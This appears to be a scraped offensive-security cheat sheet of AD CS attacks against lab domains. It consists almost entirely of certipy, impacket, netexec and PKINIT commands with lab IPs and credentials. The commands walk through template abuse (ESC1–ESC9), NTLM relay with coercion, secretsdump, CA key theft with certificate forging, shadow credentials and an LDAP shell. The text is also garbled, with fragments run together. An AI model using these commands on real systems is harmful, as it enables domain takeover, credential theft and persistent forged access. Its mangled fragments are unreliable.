Hack. Eat. Sleep. Repeat!!!
certipy-ad -:certipy-ad find -u "jtrueblood" -p "blood_brothers" -dc-ip "10.1.57.249" -vulnerable -enabled
cat *.txt | grep "ESC"
impacket-ntlmrelayx-:impacket-ntlmrelayx -t http://10.1.57.249/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication
nxc smb 10.1.57.249 -M coerce_plus -o LISTENER="10.200.88.20"
DC01$ receivedpkinttools-:python3 gettgtpkinit.py -cert-pfx DC01.shadow.gate.pfx -dc-ip 10.1.57.249 shadow.gate/dc01$ admin.ccache
impacket-secrets-dumpimpacket-secretsdump -k -no-pass dc01.shadow.gate
certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'Custom_ESC1' -upn 'administrator@papa.local'
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.130.136
ESC2 (Escalation Path 2) is a vulnerability in Active Directory Certificate Services (AD CS) where a certificate template allows low-privileged users to enroll, and the template includes dangerous Extended Key Usages (EKUs) like:
These EKUs enable the attacker to request a certificate and authenticate as a different user via Kerberos (PKINIT), bypassing passwords entirely.
certipy-ad findANY PURPOSE detail and also domain users for enrollment rights-:dev-:certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'ESC2'
certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'User' -on-behalf-of administrator -pfx dev.pfx
certipy-ad auth -pfx administrator --dc-ip <ip>
certipy-ad template -u dev@papa.local -p password -template ESC4 -write-default-configuration \ -no-save
-write-default-configuration enables ENROLLEE_SUPPLIES_SUBJECT and configures Client Authentication EKU making the template ESC1-vulnerable. -no-save skips saving a backup of the original configuration (omit this flag in real engagements to preserve the ability to restore).
certipy-ad auth --pfx administrator.pfx --dc-ip ip
certipy-ad ca -backup -u administrator@papa.local -p hello -ca LAB-ROOT-CA -target 192.168.130.136
certipy-ad forge -ca-pfx 'LAB-ROOT-CA.pfx' -upn Administrator@papa.local -sid "S-1-5-21-1749148288-4111076168-2771517274-500"
certipy-ad auth -pfx administrator_forged.pfx -dc-ip 192.168.130.136
Unprivileged User Enrollment: Attackers can enroll through open templates (e.g., standard User template) to authenticate as domain administrators or other privileged entities.
certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'User' -upn 'administrator@papa.local'
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.130.136
Exploiting it-:
certipy-ad find to find issues-:ManageCA by adding a certificate officer-:certipy-ad ca -ca LAB-ROOT-CA -add-officer dev -u dev@papa.local -p password -target 192.168.130.136 -dc-ip 192.168.130.136
certipy-ad ca -ca LAB-ROOT-CA -u dev@papa.local -p password -target 192.168.130.136 -enable-template SubCA -dc-ip 192.168.130.136
certipy-ad find -u "dev" -p "password" -dc-ip "192.168.130.136" -enabled
certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'SubCA' -upn 'administrator@papa.local'
certipy-ad ca -u dev@papa.local -p password -ca LAB-ROOT-CA -target 192.168.130.136 -issue-request 8 -dc-ip 192.168.130.136
certipy-ad req -u 'dev@papa.local' -p 'password' -dc-ip 192.168.130.136 -ca LAB-ROOT-CA -target 'DC01.papa.local' -template 'SubCA' -retrieve 8
KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)passthecert-:
certipy cert -pfx user.pfx -nokey -out user.crt
certipy cert -pfx user.pfx -nocert -out user.key
ldap_shell-:python3 passthecert.py -action ldap-shell -crt user.crt -key user.key -domain papa.local -dc-ip 192.168.130.136
GenericWrite over it) by injecting a shadow credential:certipy-ad shadow auto -u dev -p 'password' -account "matt" -dc-ip 192.168.130.136 -debug
certipy-ad account update -u 'dev' -p 'password' -dc-ip 192.168.130.136 -user 'matt' -upn 'Administrator@domain.local'
certipy-ad req -u matt@papa.local -hashes e8cd0e4a9e89eab931dc5338fcbec54a -ca LAB-ROOT-CA -template ESC9 -dc-ip 192.168.130.136
certipy-ad account update -u dev@papa.local -password 'password' -user 'matt' -upn matt@papa.local -dc-ip 192.168.130.136
certipy-ad auth -pfx administrator_f5c613b3-bfb9-4e4b-980a-1a80242d2ab4.pfx -ldap-shell -dc-ip 192.168.130.136